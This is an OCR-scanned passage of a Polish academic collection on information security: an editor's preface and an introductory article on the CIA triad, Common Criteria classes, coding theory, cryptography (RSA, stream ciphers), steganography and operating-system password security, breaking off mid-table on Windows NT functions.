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Przedmowa redaktora

Komputer 1 sieci komputerowe w takim stopniu zmienity mozli-
wosci dostepu do zrodet informacji, a réwniez w takim stopniu zwiek-
szyly szybkos$¢ przeksztalcania i transmisji danych, ze dzisiaj informa-
cja stala si¢ jednym z najdrozszych produktéw (informacja jest pro-
duktem niematerialnym) w stosunkach spolecznych, dyplomatycznych,
handlowych iinnych. Ten fenomen i tendencje jego rozwoju okre-
slamy pojeciem wspdiczesne technologie informacyjne. Jednak kazde
zjawisko ma przynajmniej dwie strony. Druga strong zwiekszenia roli
komputeréw i sieci komputerowych we wszystkich dziedzinach zycia
czlowieka jest bezpieczenstwo iochrona informacji. To jest jeden
z gtownych probleméw w dziedzinie teorii i praktyki komputerowych
technologii informacyjnych.

W niniejszej ksigzce przedstawiono artykuly studentéw i pracow-
nikéw Wydzialu Matematyczno-Przyrodniczego KUL napisane na
podstawie przygotowanych przez nich prac magisterskich w latach
2000-2003 w ramach seminarium Ochrona informacji w sieciach
komputerowych. Oczywiscie, w artykulach przeanalizowano tylko
czes¢ z bogatego zakresu pytan dotyczacych problemu bezpieczenstwa
1 ochrony informacji, kanaléw jej transmisji i metod przechowywania.
Mamy nadziejg¢, ze ksigzka bedzie przydatna studentom interesujacym
si¢ problemem zarzadzania bezpieczenstwem informacji w systemach
i sieciach komputerowych, magistrantom i doktorantom prowadzacym
badania w tej dziedzinie wiedzy.

W przygotowaniu wydania ksigzki bardzo wazng role odegrali
mgr Krystian Matusiewicz i mgr Pawet Pylak.
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Ochrona informacji
w systemach i sieciach komputerowych
i bezpieczenstwo informacyjne

Pawet P. Urbanowicz

W ponizszym artykule postaramy si¢ w miar¢ mozliwosci zwrocié
uwage na podstawowe pojecia z dziedziny bezpieczenstwa technologii
informacyjnych, teorii informacji, metod jej przeksztalcania oraz spo-
sobow nieautoryzowanych zmian i metodach ochrony.

1. Metodologiczne zasady
oceny bezpieczenstwa technologii informatycznych

Jezeli informacja jest wartoscia, to nalezy wiedzie¢, w jaki sposéb te
warto$¢ chronié. Bezpieczenstwo informacyjne rozumiemy jak poziom
ochrony informacji i narzedzi shuzacych do jej opracowania, prze-
chowywania i transmisji przed losowymi lub celowymi znieksztalceniami
sztucznego lub naturalnego pochodzenia, ktére moga przynies¢ szkode
wiascicielom lub uzytkownikom informacji i narzedzi. Wymogi bezpie-
czenstwa informacyjnego w réznych systemach informacyjnych moga
roznié si¢ znacznie. Jednak zawsze sq one ukierunkowane na osiggnigcie
trzech podstawowych wiasciwosci:

- integralnosci (jednolitosci) (Integrity) — informacja, na podstawie
ktorej podejmowane sg decyzje, powinna by¢ adekwatna i dokladna,
chroniona przed niszczeniem lub nieautoryzowang modyfikacja,

~ dostepnosci (Availability) — informacja i odpowiednie narzedzia do jej
przetwarzania powinny by¢ dostgpne i przygotowane do wykorzysta-
nia zawsze, gdy powstaje taka potrzeba

- poufnosci (Confidentiality) — informacja o okreslonym zastosowaniu
powinna by¢ dostepna tylko dla tego, dla kogo ona jest przeznaczona.
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Na zespole prawnych (prawo, akty prawnicze i normatywne, standar-
dy), organizacyjno-administracyjnych (reguly i inne dzialania admi-
nistracji w sprawach bezpieczenstwa), proceduralnych (konkretne $rodki
bezpieczenstwa dotyczace ludzi), programistyczno-technicznych (specja-
lizowane oprogramowanie i narz¢dzia elektroniczne) metod i Srodkow do
podtrzymania jednolitosci, dostgpnosci i konfidencjonalnosci informacji
opiera si¢ polityka bezpieczenstwa. Realizacjg tej polityki jest proces
majacy na celu zapewnienie bezpieczenstwa informacyjnego.

Tradycyjnie ochrona jednolitosci informacji moze by¢ odniesiona do
kategorii srodkéw administracyjnych. Do nieautoryzowanego niszczenia
i modyfikacji danych' moga prowadzié naj cze¢sciej losowe i umysine kry-
tyczne sytuacje w systemie, wirusy, ,.konie trojanskie” i in. (patrz dalej
artykuly Marka Jeziora i Adama Kiersztyna). Jezeli warto$¢ informacji
polega na mozliwosci swobodnego do niej dostgpu — istniejg zagrozenia
dostepnosdci informacji. Z kolei jezeli warto$¢ informacji lezy w jej
tajnosci — mowi si¢ o zagrozeniach poufnoéci informacji.

Jedna z waznych procedur realizacji polityki bezpieczenstwa
technologii informacyjnych jest certyfikacja narzgdzi i atestowanie sys-
teméw pod katem ich zgodnosci z wymaganiami bezpieczenstwa infor-
macji. Kazda certyfikacja i atest opiera si¢ na okreslonym zestawie doku-
mentéw normatywno-technicznych i metodologicznych. Pierwszy z ta-
kich dokumentéw powstat w r. 1983 w USA i znany jest jako ,,Poma-
ranczowa ksigzka” [1]. Pozniejsze modyfikacje tej ksigzki (dla oceny
bezpieczenstwa sieci komputerowych i systemoéw zarzadzania bazami
danych — SZBD) doprowadzily do pojawienia si¢ w r. 1987 ,,Czerwone;
ksiazki” [2], a w r. 1991 — [ R6zowej ksigzki” [3]. Wedtug tych doku-
mentéw zarowno elementy systemu, jak i cate systemy przetwarzania da-
nych moga odpowiada¢ jednej z kilku zdefiniowanych klas bezpie-
czenstwa. Na bazie [1-3] opracowano jednolite migdzynarodowe, ogélne
kryteria (OK) do oceny bezpieczenstwa technologii informacyjnych, za-
twierdzone w postaci standardow ISO [4-7].

Wymagania funkcjonalne w stosunku do systeméw ochrony informa-
cji okreslone sq w postaci 11 klas funkcjonalnych [5]:

1) klasa ,,Audyt bezpieczenstwa” (FAU) ma za zadanie rozpoznawanie,
rejestracj¢, przechowywanie i analiz¢ informacji zwigzanej z syste-
mem bezpieczenstwa,

! Scisle mowiac, w teorii informaciji ,,dane” i ,,informacja” sa réznymi pojeciami.
) ymi poje
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2) klasa ,tacznoé¢” (FCO) okresla wymagania dotyczace zagwaranto-
wania niezaprzeczalnosci wystania 1 niezaprzeczalno$ci otrzymania
informacii,

3) klasa ,,Wsparcie kryptograficzne” (FCS) okresla wymagania stawiane
mechanizmom zarzadzania kluczami i operacjami kryptograficznymi,

4) klasa ,,Ochrona danych uzytkownika” (FDP) definiuje wymagania
w stosunku do funkcji bezpieczenstwa systemu, zwigzanych z ochrong
danych uzytkownika w trybie wprowadzenia, przechowywania i wy-
prowadzenia informacji,

5) klasa ,,Jdentyfikacja® i uwierzytelnienie® (FIA) okresla sposoby defi-
niowania i weryfikacji uprawnien uzytkownikoéw,

6) klasa ,,Zarzadzanie bezpieczenstwem” (FMT) definiuje wymagania
dotyczace zarzadzania atrybutami i rolami bezpieczenstwa,

7) klasa ,,Prywatno$¢” (FPR) gwarantuje ochron¢ prywatnosci kazdego
uzytkownika systemu poprzez zapewnienie anonimowos$ci, niemoz-
nosci sledzenia 1 obserwowania,

8) klasa ,,Ochrona funkcji bezpieczenstwa przedmiotu oceny bezpie-
czenstwa” (FPT) okresla zbiér wymagan funkcjonalnych w odnie-
sieniu do jednolitosci informacji i1 zarzadzania bezpieczenstwem
systemu,

9) klasa ,,Wykorzystanie zasobow” (FRU) okresla wymagania odnosnie
do dostepnosci zasobu (mozliwos¢ przetwarzania i/lub wykorzystania)
oraz gwarantuje ochron¢ w przypadku blokowania mozliwosci funk-
cjonalnych zwigzanych z awariami systemu,

10) klasa ,,Dostep do przedmiotu oceny bezpieczenstwa” (FTA) definiuje
wymagania do kontroli sesji pracy uzytkownika (niezwigzane z iden-
tyfikacjq 1 uwierzytelnianiem),

11) klasa ,,Wiarygodny kanal/potaczenie” (FTP).

Zastosowanie tych standardow ISO pozwala na doktadne sformuto-
wanie 1 definiowanie wymagan w stosunku do oprogramowania i Sys-
teméw dowolnego przeznaczenia pozwala takze opracowaé odpowiednie

metodyki ich testowania pod katem zgodnosci z odpowiednim profilem
ochrony.

? Identyfikacja (Identification) jest rozpoznaniem podmiotéw (uzytkownikow i za-
sob6éw) w systemie przetwarzania informacji.

3 Uwierzytelnienie (dutentification) jest kontrola tozsamosci podmiotéw systemu
przetwarzania informacji.
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2. Elementy teorii przeksztalcenia
i transmisji informacji

Struktury strumieni informacyjnych sa podstawg analizy kanalow
wycieku oraz sposoboéw zabezpieczenia integralnosci, dostepnosci i pouf-
nosci informacji. Opis tych struktur opiera si¢ na teorii informacji i mate-
matycznej teorii acznodci. Tworcami tych teorii sg Shannon, Markow,
Kotelnikow, Hamming i in.(patrz [8-13]).

W teorii facznosei (w teorii transmisji danych przez sieci kompute-
rowe) ogblny schemat polaczenia pomi¢dzy dwoma abonentami mozna
przedstawic tak jak na rys. 1.

Zagrozenia poufnosci i integralnosci wiadomosei (sztuczne lub
naturalne przeszkody pochodzenia elektromagnetycznego, nieautoryzo-
wany dostep w celu przechwycenia, zmiany lub niszczenia informacii)
pochodza gléwnie ze Zrédet zaktécen wplywajacych na kanat®. Wia-
domos¢ X (lub jej czgé¢ — blok) dlugosci k symboli alfabetu Zrodia
(i=1,...,k) moze by¢ zmieniona za pomocg jednej lub kilku metod
(algorytméw). Jednym z wynikéw przeksztalcenia moze by¢é zmiana
dtugodci wiadomosei: j = 1,... n. Wspblczesne technologie informacyjne
stosujg 3 podstawowe metody przeksztatcania danych: kompresja danych,
kodowanie nadmiarowe i przeksztalcenie kryptograficzne.

Nadajnik

Zrédto X {xi Przeksztalcenie | X i{x;} | Kanat
| : transmisji | |
wiadomosci wiadomosci )
) Zakloécenia

Qdbiornik

Odbiér YU | prockesmicenie Y iy
wiadomosci ' odwrotne »

Rys. 1. Ogolny schemat fukcjonalno-strukturalny transmisji informacji

*W ogélnym wypadku procesy zwiazane z manipulowaniem danymi w narze-
dziach do ich przechowywania (HDD, FDD, RAM i inne) mozna rozpatrywa¢ jak kanat
transmisji informacji [14].
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Przeanalizujemy teraz niektére tendencje rozwoju tych metod. Kom-
presja danych, ktére] pojawienie si¢ zwigzane jest przede wszystkim
z archiwizacjg danych, dzisiaj rozwija si¢ w szybkim tempie. Tempo udo-
skonalania technik kompresji spowodowane jest potrzebami chwili:
rozw@j technologii multimedialnych, graficznych i1 dzwigkowych,
mozliwosci komputera, technologii komérkowych i internetowych polega
na zastosowaniu bardziej efektywnych metod kompresji. Jednym z waz-
nych wyzwan w tej dziedzinie sq wideokonferencje internetowe w czasie
rzeczywistym: synchronizacja wideo i dzwieku.

Tabela 1 ilustruje cele i druga (gléwna) cech¢ omoéwionych
przeksztatcen. Mozemy podkresli¢ podstawowe rzeczy:

- praktycznie stopien kompresji wideo (kompresji stratnej) nie jest
okreslony,

- maksymalny stopienn kompresji bezstratnej nie moze przekroczyé¢, jak
to opisano w artykule Pawla Pylaka, pojemnosci, ktéra zalezy od
entropii alfabetu Zrédta (wg C. Shannona) i ilosci symboli w wiado-
mosci X’{X,j}.

Tab. 1. Charakterystyki podstawowych przeksztalceri danych

misji lub przechowywania danych
(wiadomosci)

Typ Cele Cechy
przeksztalcenia
Kompresja —zmniejszenie dlugosci wiadomo- | —polega na zastosowaniu probabi-
sci (fizycznej objetodei informacji | listycznych i innych wlasciwosci
na nosniku) — cel gléwny, symboli alfabetu Zrédla powiado-
— zmniejszenie czasu (kosztu) trans- | mienia i/lub powiadomienia X {x;},
misji powiadomienia, —prowadzi do zmian probabilistycz-
— zwigkszenie poziomu bezpieczen- | nych cech powiadomienia: X {x'j}
stwa danych (kompresja utrudnia | od X {x;},
bezposrednia analiz¢ powiado- | —n<k
mienia)
Kodowanie —ochrona informacji przed blgdami | — symboli nadmiarowe r (r=n-Kk)
nadmiarowe pojawiajacymi si¢ w trakcie trans- | zaleza od typy kodu (algorytmu ko-

dowania) i wiadomosci X {x;} (po-
dobne do generowania podpisu
elektronicznego),

-n>k

Przeksztalcenie
kryptograficzne

—zwigkszenie poziomu tajnosci
i transmisja poufnej informacji,

— zabezpieczenie uwierzytelnienia
i wykrywanie umysinych modyfi-
kacji,

— potwierdzenie autentycznosci po-
wiadomienia,

—przechowywanie informacji (doku-
ment6éw, baz danych) na nosnikach
w postaci zaszyfrowanej

—czg$¢ elementéw (klucze) algoryt-
mow przeksztalcenia (zaszyfrowa-
nia i rozszyfro-wania) sq tajne,

—n =k (zwykle, za wyjatkiem niekto-
rych sytuacji — przyktadowo przy
zastosowaniu podpiséw cyfrowych
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Teoria kodowania informacji do kontroli i korekcji bledéw zaczyna
si¢ od prac C. Shannona [8, 10]. Nowoczesne narzedzia cyfrowych
systeméw komunikacji dziataja w oparciu o pomyst Shannona wprowa-
dzania do wiadomo$ci nadmiarowej informacji pozwalajacej na walke z
zakloceniami. Glownymi cechami kodéw sg wspélczynnik R =k/n
(wspolczynnik nadmiarowosci lub szybkos¢ transmisji) i ilo$é t maksy-
malne odnalezionych i korygowanych za pomocg kodu bledéw w wiado-
mosci ustalonej dtugosci. W ten spos6b gléwny problem teorii kodowania
nadmiarowego mozemy sformutowaé nastgpujaco: znalezé kody z mozli-
wie najwigkszym R i z najwigkszym t.

Wazng rodzing kodéw, za pomocg ktérych w {atwy sposob mozna
kodowa¢ (wiadomo$é X{x;} przeksztalci¢ w wiadomos¢ X {x J}) 1 dekodo-
waé (odwrotne przeksztalcenie — w odbiorniku: Y {y j} w Y{yi}) infor-
macje, sq kody Hamminga [12]. Podkre$lmy, Ze informacja w odbiorniku
(po dekodowaniu) nie zawiera bledow — X{xi} = Y{y:}. Aplikacyjne
aspekty zastosowania tych kodoéw przeanalizowane zostaly w artykule
Pawla Janocinskiego.

W systemach telekomunikacji (w tym — w systemach i sieciach kom-
puterowych) stosuja si¢ inne typy kodow blokowych — cykliczne (ang.
cyclic redundancy codes, CRC) [15]. Na zastosowaniu tego typu kodow
bazujg mechanizmy kontroli jednolitosci informacji w protokotach siecio-
wej 1 migdzysieciowej wymiany informacji. Istota metody polega na
potwierdzeniu integralnosci informacji. Potwierdzenie jednolito$ci chroni
interfejs, zastosowanie koddéw uwierzytelniajacych umozliwia kontrole
jednolitosci plikéw 1 powiadomien. Mozemy tutaj doda¢, ze wprowadze-
nie nadmiarowosci w jezyki i formalne zadanie specyfikacji daje mozli-
wos¢ kontrolowania jednolitoéci oprogramowania.

Zastosowanie metod kryptograficznych w komputerowych syste-
mach informacyjnych jest jednym 2z najbardziej rozwijajacych sie
kierunkow ochrony krytycznej informacji. W zwiazku z tym niektérym
aspektom tego problemu poswigcimy oddzielny rozdziat.

Podsumowujac, zaznaczymy, ze trzy wyzej wymienione typy prze-
ksztatcenia informacji czgsciowo dopetniajg si¢ wzajemnie i ich komplek-
sowe zastosowanie bedzie pomagato w zwigkszeniu stopnia bezpieczen-
stwa informacji przesylanej przez kanaly transmisji. Z punktu widzenia
efektywnosci wspolnego zastosowania kilku réznych metod nalezy
oznaczy¢ dwa warianty: 1) polaczenie metod kodowania nadmiarowego
i metod kryptograficznych i 2) taczenie metod kompresji i szyfrowania
danych. W rzeczywistosci kodowanie jest elementarnym szyfrowaniem,
natomiast szyfrowanie — jednym z typéw kodowania. Z drugiej strony,
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najwazniejszym zadaniem kompresji jest przeksztalcenie wiadomosci
w taki sposdb, aby dilugos¢ wiadomosci zostala zmniejszona. Giodwng
zaletg algorytmow kompresji z punktu widzenia kryptografii jest to, ze po
pierwsze, zmieniajg statystyke wiadomosei (X{x;}) w strone jej wyro6w-
nania. Przyktadowo, w zwykiem tekscie skompresowanym za ,pomocg
efektywnego algorytmu wszystkie symbole wiadomodci X {x;} maja
jednakowe charakterystyki probabilistyczne (czg¢stotliwo$¢ pojawienia
si¢) i zastosowanie prostych systeméw kryptoanalizy nie umozliwia
odkodowania tekstu. W celu zwigkszenia poziomu bezpieczenstwa
informacji i umozliwienia kompresji wazna jest kolejno$¢ wykonywania
obydwu algorytmdéw: na poczatku — kompresja, po tym —szyfrowanie’.

Badanie i zastosowanie nowych, bardziej efektywnych, komplek-
sowych algorytmow przeksztatcenia informacji jest jednym z najwazniej-
szych kierunkow teorii i praktyki technologii informacyjnych [16-19].

Dowolna z metod kodowania nadmiarowego i przeksztalcania
kryptograficznego informacji (lub ich kombinacje) najczeséciej moze by¢
realizowana sprz¢towo lub programowo. W pierwszym wypadku jako
podstawowy element elektronicznej logiki kombinacyjnej wystepuje
rejestr z przesunieciem. Glowng zaleta metod programowych jest ich
elastycznosé, czyli mozliwos$¢ szybkiej zmiany programu, ktory realizuje
algorytm. Gloéwng zaletq metod elektronicznych — znacznie wyzsza
szybko$¢ ich pracy (co najmniej 10 razy).

3. Aplikacyjne aspekty kryptografii
w systemach informacyjnych

Problemem ochrony informacji przez jej przeksztalcenie zajmuje si¢
nauka zwana kryptologiq (pochodzi od grec. kryptos — tajemny 1 logos —
nauka). Kryptologia dzieli si¢ na dwa przeciwlegle kierunki: kryptografig
1 kryptoanalize.

Dzisiaj wiadomo, ze pierwsze usystematyzowane podstawy matema-
tyczne teorii kryptografii zostaly zaprezentowane w poufnym raporcie
C. Shannona ,,Matematyczna teoria kryptografii” we wrzeéniu 1945. P6z-
niej zostaly one opublikowane w artykule [9]. Poczatkowo zostato zdefi-
niowane 5 kryteriow oceny efektywnosci dowolnego systemu (algorytmu)
zwigkszenia poufnodci:

>W oprogramowaniu (w pakiecie) PGP przed szyfrowaniem informacji odbywa
si¢ jej kompresja przez zastosowanie algorytmu na licencji firmy PKWARE.
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ilo$¢ poufnosci,
pojemnos¢ (dtugosé) klucza,
ztozono$¢é procedur zaszyfrowania i deszyfrowania,
rozrastanie si¢ liczby bledow; w niektérych typach szyfrow biad w jed-
nym symbolu, ktéry moze _pojawi¢ si¢ w trybie szyfrowania lub
transmisji wiadomosei X {x i}, prowadzi do rozrastania si¢ bledow
w trybie deszyfrowania i odpowiednio — do strat informacji [20],
zwigkszenie dtugo$ci powiadomienia.

Nowoczesng kryptografi¢ mozna podzieli¢ na 4 podstawowe dzialy:
kryptosystemy symetryczne (z kluczem tajnym),
kryptosystemy asymetryczne (z kluczem publicznym),
systemy podpisu cyfrowego (elektronicznego),
protokoty zarzadzania kluczami. -

W stosunku do nowoczesnych systeméw kryptograficznych sfor-

mufowano nast¢pujace wymagania:

zaszyfrowana wiadomos¢ moze by¢ odczytana tylko za pomoca

klucza,

liczba operacji potrzebna do okreslenia zastosowanego klucza szyfro-
wania przez analiz¢ fragmentow wiadomosci (X{x;} lub Y{y;}) powin-
na by¢ nie mniejsza niz ogélna liczba mozliwych kluczy,
liczba operacji potrzebna do rozszyfrowania informacji przez analize
wszystkich mozliwych wariantéw kluczy powinna wychodzi¢ poza
granice mozliwosci nowoczesnych komputeréw (bioragc pod uwage
mozliwosci technologii sieciowych),
znajomos¢ algorytmu szyfrowania nie powinna wplywaé na jakos$é
ochrony danych,
nieznaczna zmiana klucza powinna prowadzi¢ do znacznej zmiany
zaszyfrowanej wiadomosci,
elementy struktury algorytmu zaszyfrowania powinny by¢ niezmienne,
bity wiadomosci w trybie zaszyfrowania powinny by¢ catkowicie
i wiarygodnie ukryte w tekscie zaszyfrowanym,
k powinno by¢ réwne n,
nie powinno by¢ prostych i latwych zaleznosci migdzy kluczami po
kolei stosowanymi do szyfrowania,
dowolny klucz ze zbioru mozliwych powinien tak samo dobrze zabez-
piecza¢ informacje (brak ,,stabych kluczy”),
algorytm powinien umozliwiaé efektywna programowsa i sprzg¢tows
realizacje.

Jedng z integralnych ocen efektywnosci systemu kryptograficznego

jest jego koszt. Efektywny bedzie ten system, ktérego koszt stosowania
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(w sensie praktycznym) bedzie nlzszy od kosztu informacji, ktéra moze
by¢ utracona®.

W systemach z kluczem tajnym istnieje problem tajnego rozpow-
szechniania kluczy: w czasach, gdy kryptografia stata si¢ ogdlnodostepna,
niec ma sensu budowaé takiej sieci, w ktorej kazda para potencjalnych
uzytkownikéw moglaby mie¢ tajny klucz. W tej sytuacji liczba kluczy
rostaby kwadratowo ze wzrostem liczby uzytkownikow. W celu rozwia-
zania tego problemu w r. 1976 W. Diffie 1 N. Hellman zaproponowali
nowg metode szyfrowania na bazie pary kluczy (publicznego i tajnego)
[22]. Po roku metoda ta zostala zrealizowana praktycznie (standard RSA)
[23]. Ten algorytm uznawany jest za najbardziej odporny na zlamanie.
Wedlug szacunkéw firmy RSA do ztamania klucza RSA-1024 w ciagu
1 roku potrzebne byloby 324 tys. maszyn PC 500, 170GB RAM [21].
Natomiast D. Bernstein [24] szacuje, ze maszyna kosztujaca 1 mld $ jest
w stanie ztama¢ ten klucz w ciagu dziesigciu lat. Praktyczne doswiadcze-
nia pokazujgq osiagnigcia idace w tym kierunku. We wrzesniu 2002
zakonczono mi¢dzynarodowy projekt RC5-64, ktéry miat na celu analizg
praktycznej odpornosei szyfru RC-5 z kluczem o dlugosei 64 bitow. Licz-
ba uczestnikdw wyniosta 331 252, moc uzytych komputerow byla rowno-
wazna 160 tys. PC 266. Przeanalizowano w sumie 18.5* 10'® kluczy (85%
0golnej liczby). Klucz zostal znaleziony w ciagu 4,8 lat [25].

Dzialanie systeméw z kluczem publicznym polega na zastosowaniu
tak zwanych funkcji jednokierunkowych, ktére posiadajg wazna wiasci-
wosé: przy podanym argumencie x dos¢ prosto jest policzy¢ wartosé
funkcji f (x), natomiast jezeli znana jest warto$¢ y = f (x), to nie ma latwe-
go algorytmu obliczajacego x. Mnogos¢ klas funkcji jednokierunkowych
rodzi wielorakie systemy z kluczem publicznym. Warto podkreslié, ze nie
kazda funkcja jednokierunkowa odpowiada realnym systemom krypto-
graficznym.

Poprzez jednokierunkowos$¢ rozumiemy jednokierunkowosé nie teo-
retyczng, ale niemoznos$¢ praktycznego wyliczenia x, stosujgc nowoczes-
ne systemy obliczeniowe w wymaganym czasie. Dlatego, aby zagwaran-
towa¢ wiarygodna ochrong informacji, systemy powinny odpowiadaé
dwom podstawowym wymaganiom:

1) przeksztalcenie wiadomosei (X{x;}) powinno by¢ jednokierunkowe
1 wykluczaé jej odtworzenie na bazie klucza publicznego,

Inf‘ormac1e o nowoczesnych migdzynarodowych standardach kryptograficznych
i standardach niektérych panstw mozna znalez¢ w [21].
7 Liczba oznacza ilogé bitow.
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2) wyliczenie klucza prywatnego, majac klucz publiczny, powinno byé
niemozliwe.

Wszystkie nowoczesne kryptosystemy z kluczem publicznym opieraja
si¢ na jednym z nastgpujacych typow przeksztatcen jednokierunkowych:

— rozfozenie duzych liczb na czynniki pierwsze (lub pseudopierwsze
[26]),

- obliczenie logarytmu w grupie multiplikatywnej ciata skonczonego
[27],

- znalezienie pierwiastkow réwnan algebraicznych (o tym nizej).

Nalezy podkresli¢, ze algorytmy kryptosystemow z kluczem publicz-
nym mozna zastosowac na trzy sposoby:
~ jako samodzielne $rodki ochrony danych,

- jako srodki dystrybucji kluczy (przypomnijmy, ze problem dystrybucji
kluczy byt jedng z gléwnych przyczyn pojawienia si¢ kryptografii
z kluczem publicznym),

~ jako $rodki uwierzytelniania uzytkownikéw (przez podpisy elektro-
niczne).

Jak podkreslilisSmy, najbardziej znanym wsrod algorytméw z klu-
czem publicznym jest algorytm RSA. Popularno$é algorytmu opiera si¢
na mozliwosci gwarantowanej oceny jego odpornosci na ztamanie.
Dzisiaj algorytm RSA wykorzystywa.ny jest zardwno jako samodzielny
produkt kryptograﬁczny jak réwniez w postaci wbudowanej w popular-
nych aplikacjach’ i w innych standardach (SSL, S-HHTP, S-MIME,
S/WAN, STT 1 PCT), w sieciach komputerowych bankow (w tym — do
obstugi kart kredytowych).

O krzywych eliptycznych — obiekcie matematycznym, ktéry ostatnio
jest intensywnie wykorzystywany w algorytmach kryptograficznych,
w tym w podpisach cyfrowych [28] — pisze w swym artykule Marcin
Ptonkowski.

Jedna z nowoczesnych metod rozwigzania problemu dystrybucji klu-
czy polega na zastosowaniu tak zwanych wedrujacych kluczy (wandering
keys). Idea metody jest dos¢ prosta. Po zastosowaniu klucza w jednej sesji
wymiany informacji miedzy dwoma abonentami klucz nalezy zmienié.
Reguly zmiany powinny zna¢ obydwie strony. Ciagla zmiana kluczy
jeszcze bardziej zwigksza poziom bezpieczenstwa informacji. Gléwnym

v Przykladowo w pakiecie PGP (Pretty Good Privacy); dziatanie PGP polega na
zasadzie web of trust i umozliwia uzytkownikom dystrybucje kluczy bez udziatu cent-
row certyfikacyjnych.

® W przegladarkach Internet (Microsoft) i Netscape.
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wyzwaniem w realizacji metody jest wybor efektywnych regut zmiany
kluczy. Jeden z prostych sposobéw polega na zastosowaniu losowego
generowania spisu kluczy. Druga metoda jest zwigzana z zastosowaniem
matematycznych algorytméw zmiany (jedno szyfrowanie w drugim).
Bardziej skomplikowany jest problem dystrybucji kluczy do wymiany
informacji pomigdzy wieloma uzytkownikami. To jest pole do rozmysla-
nia i analizy.

Jak juz wezesniej wspominali$my, wraz z pojawieniem si¢ srodkow
multimedialnych powstal problem szyfrowania i transmisji istotnie
wigkszych ilosci danych za pomocg sieci o duzej przepustowosci. Do
nowych technologii informacyjnych mogg by¢ odniesione:

- laczno$c tekstowa, wideo, dzwickowa,
- poczta glosowa,
- systemy wideokonferencji.

120
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Pojemnos$¢ informacji

Wideo
Rys. 2.

Dla systeméw interaktywnych typu telekonferencji, audio- lub
wideotacznosdci szyfrowanie danych powinno odbywaé si¢ w czasie
rzeczywistym i by¢ (w miar¢ mozliwosci) przezroczyste dla uzytkownika.
Nie jest to mozliwe bez zastosowania nowych sposobow szyfrowania.
Wisréd takich sposobéw najbardziej rozpowszechnione jest szyfrowanie
strumieniowe [28]. W odrdéznieniu od wyzej opisanych algorytméw sys-
tem przeksztalcenia (X{x;} w X’{x'j}) nie czeka na ostatni symbol X{x;}
1 poczawszy od pierwszego symbolu zaczyna szyfrowanie i transmisje
informacji.

Najbardziej prosta metoda zaszyfrowania polega na bitowym sumo-
waniu wej$ciowej wiadomosei z kluczem (sumowanie modulo 2), jak to
pokazane na rys. 3. Klucz moze by¢ nieokresowym (z =1,...,%) lub
okresowym (z — ustalone) ciagiem, otrzymanym za pomocg generatora
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ciggdw pseudolosowych. Przykladem standardu szyfrowania strumienio-
wego jest RC4'%, stworzony przez R. Rivesta. Inna metoda tego typu szy-
frowania to szyfrowanie blokowe (polaczenie dwoch wyzej przeanali-
zowanych metod)'".

Xfx} |—3 | Zaszyfrowanie | Xi, S
(x; + k;) mod 2 i
k;
Klucz
(K{k:})
Rys. 3.

Generowanie kluczy jest ,,kluczowym” elementem metody szyfrowa-
nia strumieniowego.

W tym miejscu nalezy wspomnie¢ o perspektywicznej metodzie
ochrony informacji i praw autorskich. Chodzi o steganografie, polegajaca
na ukrywaniu faktu transmisji poufnej informacji przez wbudowanie
tajnej wiadomosci w zwykla [24]. Wigkszos¢ algorytmoéw steganograficz-
nej ochrony informacji bazuje na zastosowaniu specjalnych wiasciwosci
formatéw komputerowych lub na nadmiarowosci audio- i wideoinforma-
cji. Jednym ze ,,stabych miejsc” tych algorytmow jest czesty brak odpor-
nosci na stratng kompresje danych. Od tej wady wolne sg algorytmy
polegajace na analizie spektralnych wlasciwosci informacji i przeksztat-
ceniu naturalnego obrazu wrekursywny za pomocg przeksztalcenia
Fouriera [25].

Podsumowujac, podkreslmy, ze wybdr metody 1 algorytmu prze-
ksztalcenia kryptograficznego informacji zalezy od wielu czynnikéw.
W sensie praktycznym to jest zadanie optymalizacyjne.

' Ten algorytm jest wiasnoscia firmy RSA Data Security.
"' Metoda podobna do zwyklego pakietowania powiadomienia na bazie protokohu
TCP/P.
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4. Bezpieczenstwo systemow operacyjnych,
baz danych i sieci lokalnych

Znane w teorii ochrony informacji modele i systemy bezpieczenstwa
polegaja najczeéciej na analizie problemu dostepu subiekta lub podmiotu
do obiektu (informacji) (patrz nizej artykul Krystiana Matusiewicza).
W zwigzku z tym i $rodki ochrony zorientowane sa (w lepszym przypad-
ku) na stworzeniu izolowanego §rodowiska programistycznego, w ktérym
dziala aplikacja lub automatyzowany system opracowania dokumentéw
elektronicznych. Warto podkresli¢, ze w zasadzie oprogramowanie do-
wolnego systemu komputerowego skiada si¢ z trzech podstawowych
komponentéw: systemu operacyjnego (SO), oprogramowania sieciowego
(OS) 1 systemu zarzadzania baza danych (SZBD).

Struktura wspolczesnych SO jest bardzo skomplikowana. Ochrona
SO przed atakiem polega gléwnie na zastosowaniu haset i — w ten sposéb
— pliki zawierajace informacje o hastach i identyﬁkatorach uzytkownikow
sa glownym obiektem atakéw hackeréw na SO 2. Analizujac efektywnosé

hasta (bezpieczny czas zastosowania hasla), mozemy zastosowa¢ wzor
Andersona [32]:

4.32%10* RM/EP < = AS,

gdzie R — szybko$¢ transmisji danych przez kanat (symb/min), M — czas,
w ktérym mogg by¢ zrobione proby do ztamania hasta (w miesigcach), E
— liczba symboli w kazdym transmitowanym powiadomieniu przez probe
otrzymania dostgpu (wlacznie dtugos¢ hasta S i symboli slu;‘zbowych)13 , A
— liczba symboli skiadajacych alfabet.

Jezeli R, E, M i A sg fiksowane, wtedy kazde znaczenie S bedzie
dawa¢ r6zne prawdopodobienstwo P ztamania hasta (niektore szczegoty
dziatania tamaczy hasel sq opisane w artykule Radostawa Biadunia).

Sieciowe SO powinny nie tylko posiada¢ mozliwosci bezpiecznego
wspdlnego zastosowania zasobow sieciowych (np. plikéw, drukarek), ale
rowniez zabezpieczyé bezpieczne stuzby transmisji powiadomien, pod-
trzymywanie serwerowych proceséw (np. SZBD, Web-serferzy, monitory
transakcji i in.). Architektur¢ podsysteméw bezpieczenstwa SO 1 OS
nalezy analizowa¢ z réznych punktéw widzenia:

'2W SO Windows opartych na technologii NT takim obiektem atakéw jest BD
SAM.

" Taka sama technologia zastosowana do ztamania szyfru RSA-64 (wymieniona
w punkcie 3; wzigta z [25]).
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- ze strony klienta sieci,
- jako serwera plikow,
- jako serwiera aplikacji.
Dla przyktadu tab. 2 ilustruje funkcje SO Windows NT 4.0.

Tab. 2. Funkcje systemu operacyjnego Windows NT 4.0

Potrzebowania Funkcje
Identyfikacja Mozliwosé¢ definiowania praw i przywilejow dla kazdego uzyt-
kownika
ID uzytkownika/haset

Szyfrowanie informacji hastowej

Srodki podtrzymywania dyscypliny hastowej

Ograniczenie mozliwosci pracy przez okreslone komputery

